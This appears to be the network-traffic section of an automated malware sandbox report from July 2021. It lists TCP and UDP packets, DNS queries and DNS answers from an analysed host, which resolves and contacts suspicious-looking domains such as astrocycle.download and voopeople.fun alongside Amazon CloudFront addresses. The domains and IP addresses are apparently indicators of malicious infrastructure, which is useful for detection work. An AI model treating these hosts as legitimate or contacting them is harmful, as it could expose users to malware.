Jul 6, 2021 15:52:28.671066046 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.671262026 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.671437979 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.671467066 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.684973955 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.746351004 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.746537924 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.746686935 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.748464108 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.748509884 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.749315977 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.749355078 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.749389887 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.749397039 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.749423981 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.749434948 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.749669075 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.750303030 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.750348091 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.750397921 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.751327038 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.751385927 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.751626968 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.752461910 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.752506971 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.753406048 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.753531933 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.753602982 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.753669024 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.754719019 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.754765034 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.754829884 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.757710934 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.757759094 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.757806063 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.757823944 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.757848978 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.758002043 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.758018017 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.758047104 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.758342981 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.759221077 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.759285927 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.759807110 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.761326075 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.835266113 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.835314035 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.835375071 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.835853100 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.835886955 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.836373091 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.836975098 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.837023020 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.837636948 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.838066101 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.838104963 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.839175940 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.839274883 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.839308023 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.840147972 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.840245962 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.840276003 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.842099905 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.842153072 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.842183113 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.842538118 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.842612982 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.842643976 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.842837095 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.844335079 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.844364882 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.844448090 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.844738007 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.844770908 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.844887972 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.846281052 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.846311092 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.846424103 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.846892118 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.846925974 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.847151041 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.848252058 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.848283052 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.848485947 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.849129915 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.849163055 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.849330902 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.850285053 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.850311995 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.850485086 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.851465940 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.851499081 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.851572037 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.852436066 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.852459908 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.852518082 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.853821993 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.853847027 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.853933096 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.855273962 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.855302095 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.855562925 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.856170893 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.856193066 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.856581926 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.925631046 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.925666094 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.925689936 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.925714016 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.926548958 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.926764011 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.926799059 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.927051067 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.927412987 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.927443981 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.927531004 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.928486109 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.928515911 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.928577900 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.929680109 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.929711103 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.929910898 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.930785894 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.930810928 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.930996895 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.932454109 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.932478905 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.934012890 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.934036970 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.934052944 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.934068918 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.934107065 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.934132099 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.934135914 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.936244011 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.936273098 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.936296940 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.936319113 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.936361074 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.936383963 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.939220905 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.939260006 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.939279079 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.939534903 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.014281034 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.014337063 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.014369965 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.014405966 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.014977932 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.015233994 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.015263081 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.015347958 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.017366886 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.017388105 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.017400026 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.017416000 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.017585039 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.019354105 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.019380093 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.019517899 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.019750118 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.019773006 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.020463943 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.020787954 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.020811081 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.023181915 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.023267984 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.023298979 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.023322105 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.023344040 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.023384094 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.023389101 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.024702072 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.024732113 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.024827003 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.025367975 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.025397062 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.025527000 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.026640892 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.026665926 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.026730061 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.028594017 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.028621912 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.028642893 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.028664112 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.028836012 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.029839039 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.029863119 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.030117989 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.031245947 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.031270981 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.032937050 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.033034086 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.033058882 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.033085108 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.033107042 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.033301115 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.033411026 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.037192106 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.037221909 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.037771940 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.102823973 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.102861881 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.103126049 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.103266954 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.103292942 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.104176998 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.104305983 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.104336977 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.104425907 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.106853962 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.106888056 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.106913090 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.106939077 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.107353926 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.107712030 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.107741117 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.107918024 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.109124899 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.109153986 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.109255075 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.109699011 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.110122919 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.110466003 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.110974073 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.111011982 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.111212969 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.112726927 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.112757921 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.112957001 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.115329027 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.115358114 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.115380049 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.115396976 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:29.115554094 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.115573883 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:29.626164913 CEST	49175	80	192.168.2.22	104.21.37.209
Jul 6, 2021 15:52:29.668664932 CEST	80	49175	104.21.37.209	192.168.2.22
Jul 6, 2021 15:52:29.668893099 CEST	49175	80	192.168.2.22	104.21.37.209
Jul 6, 2021 15:52:29.669440031 CEST	49175	80	192.168.2.22	104.21.37.209
Jul 6, 2021 15:52:29.707858086 CEST	80	49175	104.21.37.209	192.168.2.22
Jul 6, 2021 15:52:30.190757036 CEST	80	49175	104.21.37.209	192.168.2.22
Jul 6, 2021 15:52:30.190807104 CEST	80	49175	104.21.37.209	192.168.2.22
Jul 6, 2021 15:52:30.190879107 CEST	49175	80	192.168.2.22	104.21.37.209
Jul 6, 2021 15:52:32.469597101 CEST	49175	80	192.168.2.22	104.21.37.209
Jul 6, 2021 15:52:32.470518112 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:54:19.591932058 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:54:19.592401028 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:54:19.592768908 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:54:19.630656958 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:54:19.630705118 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:54:19.630861044 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:54:19.631966114 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:54:19.632390976 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:54:19.632461071 CEST	49167	80	192.168.2.22	172.67.198.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2021 15:52:19.691154957 CEST	52197	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:19.751358032 CEST	53	52197	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:19.935980082 CEST	53099	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:20.001130104 CEST	53	53099	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:20.182857990 CEST	52838	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:20.242857933 CEST	53	52838	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:20.962802887 CEST	61200	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:21.023224115 CEST	53	61200	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:21.048760891 CEST	49548	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:21.108691931 CEST	53	49548	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:22.685010910 CEST	55627	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:22.744442940 CEST	53	55627	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:22.753356934 CEST	56009	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:22.811172009 CEST	53	56009	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:24.312264919 CEST	61865	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:24.371850967 CEST	53	61865	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:24.399482012 CEST	55171	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:24.461946011 CEST	53	55171	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:25.486203909 CEST	52496	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:25.540648937 CEST	53	52496	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:25.558330059 CEST	57564	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:25.612750053 CEST	53	57564	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:27.715032101 CEST	63009	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:27.769787073 CEST	53	63009	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:27.785893917 CEST	59319	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:27.840760946 CEST	53	59319	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:29.391350031 CEST	53070	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:29.453766108 CEST	53	53070	8.8.8.8	192.168.2.22
Jul 6, 2021 15:52:29.566726923 CEST	59770	53	192.168.2.22	8.8.8.8
Jul 6, 2021 15:52:29.624525070 CEST	53	59770	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 6, 2021 15:52:19.691154957 CEST	192.168.2.22	8.8.8.8	0xad13	Standard query (0)	thousandsyears.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:19.935980082 CEST	192.168.2.22	8.8.8.8	0x959b	Standard query (0)	voopeople.fun	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.182857990 CEST	192.168.2.22	8.8.8.8	0x82b3	Standard query (0)	uppercilio.fun	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.962802887 CEST	192.168.2.22	8.8.8.8	0x4177	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:21.048760891 CEST	192.168.2.22	8.8.8.8	0x4335	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.685010910 CEST	192.168.2.22	8.8.8.8	0x96ce	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.753356934 CEST	192.168.2.22	8.8.8.8	0x45a5	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:24.312264919 CEST	192.168.2.22	8.8.8.8	0xa14d	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:24.399482012 CEST	192.168.2.22	8.8.8.8	0x8ff4	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.486203909 CEST	192.168.2.22	8.8.8.8	0xa456	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.558330059 CEST	192.168.2.22	8.8.8.8	0x8e4a	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:27.715032101 CEST	192.168.2.22	8.8.8.8	0x6005	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:27.785893917 CEST	192.168.2.22	8.8.8.8	0xb77d	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.391350031 CEST	192.168.2.22	8.8.8.8	0x21e6	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.566726923 CEST	192.168.2.22	8.8.8.8	0x86c7	Standard query (0)	astrocycle.download	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 6, 2021 15:52:19.751358032 CEST	8.8.8.8	192.168.2.22	0xad13	No error (0)	thousandsyears.download		172.67.198.51	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:19.751358032 CEST	8.8.8.8	192.168.2.22	0xad13	No error (0)	thousandsyears.download		104.21.52.111	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.001130104 CEST	8.8.8.8	192.168.2.22	0x959b	No error (0)	voopeople.fun		172.67.194.117	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.001130104 CEST	8.8.8.8	192.168.2.22	0x959b	No error (0)	voopeople.fun		104.21.12.122	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.242857933 CEST	8.8.8.8	192.168.2.22	0x82b3	No error (0)	uppercilio.fun		104.21.55.83	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:20.242857933 CEST	8.8.8.8	192.168.2.22	0x82b3	No error (0)	uppercilio.fun		172.67.146.88	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:21.023224115 CEST	8.8.8.8	192.168.2.22	0x4177	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:21.023224115 CEST	8.8.8.8	192.168.2.22	0x4177	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:21.023224115 CEST	8.8.8.8	192.168.2.22	0x4177	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
